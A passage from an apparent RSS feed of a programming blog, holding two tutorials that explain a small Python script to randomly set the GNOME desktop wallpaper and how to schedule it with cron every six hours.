style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;schedule-wallpaper-change-with-cron-and-crontab&#34;&gt;Schedule wallpaper change with Cron and Crontab&lt;/h2&gt;&#xA;&lt;p&gt;Once this is done, we are ready to add our script to Crontab.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;crontab -e&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For this example we will change the wallpaper every 6 hours. But you can set the frequency to any value you want.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; */6 * * * &lt;span style=&#34;color:#ff5c57&#34;&gt;$PWD&lt;/span&gt;/.change_wallpaper_random.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You should also make sure that your file has the proper execution permissions, I have a post explaining the topic of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/&#34;&gt;chmod and permissions in GNU/Linux&lt;/a&gt;&#xA; that you can check out.&lt;/p&gt;&#xA;&lt;p&gt;Save the file and it should start running automatically every 6 hours, or whatever frequency you set, changing the wallpaper to a random one in the folder you specified in the Python script whether you&amp;rsquo;re using a Dark theme or a Light theme in newer versions of Gnome.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In the previous post we made an &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/how-to-create-an-automatic-wallpaper-changer-using-python-in-gnome/&#34;&gt;automatic wallpaper changer in Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this entry we are going to use Cron to program the periodic execution of this script and that it is in charge of changing the wallpaper every certain time, automatically, every hour, two hours, every day, every minute or the frequency that we want.&lt;/p&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know how Cron daemon works and how to schedule tasks using this tool, please check my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/program-periodic-tasks-easily-in-linux-with-cron-and-crontab/&#34;&gt;Cron and Crontab&lt;/a&gt;&#xA;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to create a wallpaper changer using Python in Gnome?</title>
      <link>https://coffeebytes.dev/en/python/how-to-create-an-automatic-wallpaper-changer-using-python-in-gnome/</link>
      <pubDate>Sat, 15 Feb 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/how-to-create-an-automatic-wallpaper-changer-using-python-in-gnome/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;In this post we are going to create an automatic, random and minimalistic wallpaper changer for GNU/Linux using Python. With no extra functions, super lightweight and totally homemade, its only function will be to randomly select an image and set it as wallpaper. I will explain the function of each line in the code.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Updated&lt;/strong&gt; Updated for Gnome 43 and Python 3.12&lt;/p&gt;&#xA;&lt;p&gt;If you are not familiar with Python syntax, read about one of the best books for getting into Python in my post about &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;the book Python Immersion&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;To begin with let&amp;rsquo;s first change the directory to &lt;em&gt;home&lt;/em&gt;/&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; ~&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once here we are going to create a Python file with the name &lt;em&gt;.change_wallpaper_randomly.py&lt;/em&gt; but you can give it any other name, just make sure that the name starts with a dot &amp;ldquo;.&amp;rdquo; In GNU/Linux &lt;strong&gt;all files that start with a dot are hidden files&lt;/strong&gt;, returning our script a hidden file will serve us later.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch .change_wallpaper_randomly.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If at this point you feel you are not familiar with these GNU/Linux commands you can read my post on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-grep-ls-cd-cat-cp-rm-scp/&#34;&gt;basic GNU/Linux commands&lt;/a&gt;&#xA; to refresh your memory.&lt;/p&gt;&#xA;&lt;h2 id=&#34;change-wallpaper-automatically-with-python&#34;&gt;Change wallpaper automatically with Python&lt;/h2&gt;&#xA;&lt;p&gt;Now inside the file we have just created we are going to place the following code&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#!/usr/bin/python3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; random&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;wallpaper_folder &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/home/user/images/wallpaper/&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Place here your wallpaper directory&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;chdir(wallpaper_folder)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;allowed_image_formats &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;jpeg&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list_of_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [image &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;listdir() &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#ff5c57&#34;&gt;tuple&lt;/span&gt;(allowed_image_formats))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random_wallpaper &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;join(os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getcwd(), random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(list_of_images))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper)) &lt;span style=&#34;color:#78787e&#34;&gt;# Default Theme&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# New gnome versions use a different parameter for dark mode&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# In this case we&amp;#39;re going to use the same wallpaper for both themes&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri-dark &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper)) &lt;span style=&#34;color:#78787e&#34;&gt;#Dark Theme&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First we import the &lt;em&gt;os&lt;/em&gt; and &lt;em&gt;random&lt;/em&gt; libraries, to have access to tools to interact with the operating system and methods for random numbers, respectively.&lt;/p&gt;&#xA;&lt;p&gt;Next we assign the path where the images are located to the variable &lt;em&gt;wallpaper_folder&lt;/em&gt;, &lt;strong&gt;this path is defined by you, it is the location of your folder with the images you want to use as wallpaper.&lt;/strong&gt; For this example make sure you use an absolute path.&lt;/p&gt;&#xA;&lt;p&gt;The os.&lt;em&gt;chdir()&lt;/em&gt; method will allow us to change to the directory where we have the images that we will use as wallpapers.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;allowed_image_formats&lt;/em&gt; variable will set which image formats we will accept as wallpapers.&lt;/p&gt;&#xA;&lt;p&gt;The next line is a little more complex and, from the syntax, you can see that it is a &lt;em&gt;list comprehension&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list_of_images &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [image &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; image &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;listdir() &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; image&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;endswith(&lt;span style=&#34;color:#ff5c57&#34;&gt;tuple&lt;/span&gt;(allowed_image_formats))]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;os.listdir()&lt;/em&gt; will return a list of all the files in our current folder, i.e. all those wallpapers contained in the folder we switched to with &lt;em&gt;os.chdir()&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;tuple(allowed_image_formats)&lt;/em&gt; we are simply transforming our list of allowed formats into a tuple.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;image.endswith()&lt;/em&gt; method takes an argument, which can be a text string or a tuple of text strings, and will return &lt;em&gt;True&lt;/em&gt; or &lt;em&gt;False&lt;/em&gt; depending on whether the &lt;em&gt;image&lt;/em&gt; object ends the text string with any of the elements of the tuple.&lt;/p&gt;&#xA;&lt;p&gt;The complete line is a &lt;em&gt;list comprehension&lt;/em&gt; that says: &amp;ldquo;create a list with each image in &lt;em&gt;os.listdir()&lt;/em&gt; as long as the file ends with any of the following formats in this tuple&amp;rdquo;. This step is important because it will exclude all non-image files from our list.&lt;/p&gt;&#xA;&lt;p&gt;Now, the following line may also appear to be somewhat complex&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random_wallpaper &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;path&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;join(os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getcwd(), random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(list_of_images))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;em&gt;os.path.join()&lt;/em&gt; method is in charge of joining paths in our operating system and is totally agnostic of the operating system in which we are. We will join the path of the current directory with the name of an image, to generate the complete path of an image.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;os.getcwd()&lt;/em&gt; returns the current directory.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;select-an-image-at-random-with-randomchoice&#34;&gt;Select an image at random with random.choice()&lt;/h2&gt;&#xA;&lt;p&gt;We will randomly obtain the image by means of the &lt;em&gt;random.choice()&lt;/em&gt; method, which selects a random image from all those obtained with the list comprehension.&lt;/p&gt;&#xA;&lt;p&gt;Look at this example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;image_list_for_testing &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_1.jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_2.jpg&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_3.png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_4.png&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_5.jpeg&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(image_list_for_testing)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_4.png&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(image_list_for_testing)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_1.jpg&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;random&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;choice(image_list_for_testing)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;img_1.jpg&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;And finally&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;system(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;gsettings set org.gnome.desktop.background picture-uri &amp;#39;file://&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;format(random_wallpaper))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;em&gt;os.system()&lt;/em&gt; method allows us to execute a command in our terminal.&lt;/p&gt;&#xA;&lt;p&gt;We will run &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://people.gnome.org/~pmkovar/system-admin-guide/background.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;a command that will tell &lt;em&gt;gnome&lt;/em&gt;&lt;/a&gt;&#xA; to set an image as wallpaper, we will pass the path to that image after &lt;em&gt;picture-uri&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note here, each desktop environment will have a way to set a wallpaper, if you want to use another desktop environment just read the documentation and replace the command inside the &lt;em&gt;os.system()&lt;/em&gt; method.&lt;/p&gt;&#xA;&lt;p&gt;Once we are done, we can run our script as follows. Make sure you are in &lt;em&gt;home&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  